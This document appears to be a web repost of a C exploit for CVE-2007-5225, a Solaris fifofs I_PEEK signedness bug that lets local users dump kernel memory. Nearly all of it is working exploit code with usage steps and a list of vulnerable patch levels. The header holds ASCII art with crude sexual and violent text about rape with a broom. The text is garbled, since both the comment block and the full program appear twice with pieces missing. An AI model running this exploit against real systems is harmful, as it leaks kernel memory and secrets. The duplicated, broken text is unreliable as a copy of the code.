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March 11, 2008 17:47 | by
* $Id: raptor_peek.c,v 1.1 2007/10/18 08:09:02 raptor Exp $
*
* raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak
* Copyright (c) 2007 Marco Ivaldi
*
* [Lame] integer signedness error in FIFO filesystems (named pipes) on Sun
* Solaris 8 through 10 allows local users to read the contents of unspecified
* memory locations via a negative value to the I_PEEK ioctl (CVE-2007-5225).
*
* /\ AS PART OF A VAST WORLD-WIDE CONSPIRACY
* hjm / \ I COMMAND THEE: BEAT OFF UNTO ME
* /,--.\
* /< () >\ IF I SAY "FNORD" AT THE END OF A SENTENCE
* / `--' \ DOES THAT MAKE ME REALLY FUNNY OR SOMEONE
* / \ WHO NEEDS TO GET FUCKING BEATEN TO NEAR
* / \ DEATH AND THEN RAPED WITH A BROOM
* /______________\
* AS YOU CAN SEE THAT'S REALLY TWO JOKES IN ONE
* SO YOU REALLY GET YOUR MONEY'S WORTH HERE
* Usage:
* $ gcc raptor_peek.c -o raptor_peek -Wall
* $ ./raptor_peek kerndump 666666
* [...]
* $ ls -l kerndump
* -rwx------ 1 raptor staff 666666 Oct 17 19:33 kerndump
*
* Vulnerable platforms (SPARC):
* Solaris 8 without patch 109454-06 [tested]
* Solaris 9 without patch 117471-04 [tested]
* Solaris 10 without patch 127737-01 [tested]
*
* Vulnerable platforms (x86):
* Solaris 8 without patch 109455-06 [untested]
* Solaris 9 without patch 117472-04 [untested]
* Solaris 10 without patch 127738-01 [untested]
*/
*
* raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak
* Copyright (c) 2007 Marco Ivaldi
*
* [Lame] integer signedness error in FIFO filesystems (named pipes) on Sun
* Solaris 8 through 10 allows local users to read the contents of unspecified
* memory locations via a negative value to the I_PEEK ioctl (CVE-2007-5225).
*
* /\ AS PART OF A VAST WORLD-WIDE CONSPIRACY
* hjm / \ I COMMAND THEE: BEAT OFF UNTO ME
* /,--.\
* /< () >\ IF I SAY "FNORD" AT THE END OF A SENTENCE
* / `--' \ DOES THAT MAKE ME REALLY FUNNY OR SOMEONE
* / \ WHO NEEDS TO GET FUCKING BEATEN TO NEAR
* / \ DEATH AND THEN RAPED WITH A BROOM
* /______________\
* AS YOU CAN SEE THAT'S REALLY TWO JOKES IN ONE
* SO YOU REALLY GET YOUR MONEY'S WORTH HERE
* Usage:
* $ gcc raptor_peek.c -o raptor_peek -Wall
* $ ./raptor_peek kerndump 666666
* [...]
* $ ls -l kerndump
* -rwx------ 1 raptor staff 666666 Oct 17 19:33 kerndump
*
* Vulnerable platforms (SPARC):
* Solaris 8 without patch 109454-06 [tested]
* Solaris 9 without patch 117471-04 [tested]
* Solaris 10 without patch 127737-01 [tested]
*
* Vulnerable platforms (x86):
* Solaris 8 without patch 109455-06 [untested]
* Solaris 9 without patch 117472-04 [untested]
* Solaris 10 without patch 127738-01 [untested]
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <stropts.h>
#include <unistd.h>
#include <sys/stat.h>
#define INFO1 "raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak"
#define INFO2 "Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define BADFIFO "/tmp/fnord"
#define BUFSIZE 1000000
int errno;
int main(int argc, char **argv)
{
int fd, fifo;
size_t out, bufsize = BUFSIZE;
char *buf;
struct strpeek peek;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc < 2) {
fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]);
exit(1);
}
if (argc > 2)
if ((bufsize = atoi(argv[2])) == 0) {
fprintf(stderr, "Error (atoi): invalid outsize\n");
exit(1);
}
/* print some output */
fprintf(stderr, "Using outfile\t: %s\n", argv[1]);
fprintf(stderr, "Using outsize\t: %u\n\n", bufsize);
/* prepare the output buffer */
if ((buf = (char *)malloc(bufsize)) == NULL) {
perror("Error (malloc)");
fprintf(stderr, "Hint: Try again with a smaller output size\n");
exit(1);
}
memset(buf, 0, bufsize);
/* create the named pipe */
unlink(BADFIFO);
if (mknod(BADFIFO, S_IFIFO | S_IRWXU, 0) < 0) {
perror("Error (mknod)");
exit(1);
}
switch(fork()) {
case -1: /* cannot fork */
perror("Error (fork)");
exit(1);
case 0: /* the child writes */
if ((fifo = open(BADFIFO, O_WRONLY, 0)) < 0) {
perror("Error (open)");
exit(1);
}
write(fifo, "FNORD", 5);
exit(0);
default: /* the parent reads */
/* FALL THROUGH */
;
}
/* perform the MAGICK */
if ((fifo = open(BADFIFO, O_RDONLY, 0)) < 0) {
perror("Error (open)");
exit(1);
}
memset(&peek, 0, sizeof(peek));
peek.databuf.buf = buf;
peek.databuf.maxlen = -1; /* FNORD! */
if (ioctl(fifo, I_PEEK, &peek) < 0 ) {
perror("Error (ioctl)");
close(fifo);
exit(1);
}
/* save output to outfile */
if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) {
perror("Error (open)");
close(fifo);
exit(1);
}
out = write(fd, buf, bufsize);
fprintf(stderr, "FNORD! %u bytes written to %s\n", out, argv[1]);
fprintf(stderr, "Hint: Try also with a bigger output size\n");
/* cleanup (who cares about free?;) */
close(fd);
close(fifo);
exit(0);
}
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <stropts.h>
#include <unistd.h>
#include <sys/stat.h>
#define INFO1 "raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak"
#define INFO2 "Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define BADFIFO "/tmp/fnord"
#define BUFSIZE 1000000
int errno;
int main(int argc, char **argv)
{
int fd, fifo;
size_t out, bufsize = BUFSIZE;
char *buf;
struct strpeek peek;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc < 2) {
fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]);
exit(1);
}
if (argc > 2)
if ((bufsize = atoi(argv[2])) == 0) {
fprintf(stderr, "Error (atoi): invalid outsize\n");
exit(1);
}
/* print some output */
fprintf(stderr, "Using outfile\t: %s\n", argv[1]);
fprintf(stderr, "Using outsize\t: %u\n\n", bufsize);
/* prepare the output buffer */
if ((buf = (char *)malloc(bufsize)) == NULL) {
perror("Error (malloc)");
fprintf(stderr, "Hint: Try again with a smaller output size\n");
exit(1);
}
memset(buf, 0, bufsize);
/* create the named pipe */
unlink(BADFIFO);
if (mknod(BADFIFO, S_IFIFO | S_IRWXU, 0) < 0) {
perror("Error (mknod)");
exit(1);
}
switch(fork()) {
case -1: /* cannot fork */
perror("Error (fork)");
exit(1);
case 0: /* the child writes */
if ((fifo = open(BADFIFO, O_WRONLY, 0)) < 0) {
perror("Error (open)");
exit(1);
}
write(fifo, "FNORD", 5);
exit(0);
default: /* the parent reads */
/* FALL THROUGH */
;
}
/* perform the MAGICK */
if ((fifo = open(BADFIFO, O_RDONLY, 0)) < 0) {
perror("Error (open)");
exit(1);
}
memset(&peek, 0, sizeof(peek));
peek.databuf.buf = buf;
peek.databuf.maxlen = -1; /* FNORD! */
if (ioctl(fifo, I_PEEK, &peek) < 0 ) {
perror("Error (ioctl)");
close(fifo);
exit(1);
}
/* save output to outfile */
if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) {
perror("Error (open)");
close(fifo);
exit(1);
}
out = write(fd, buf, bufsize);
fprintf(stderr, "FNORD! %u bytes written to %s\n", out, argv[1]);
fprintf(stderr, "Hint: Try also with a bigger output size\n");
/* cleanup (who cares about free?;) */
close(fd);
close(fifo);
exit(0);
}
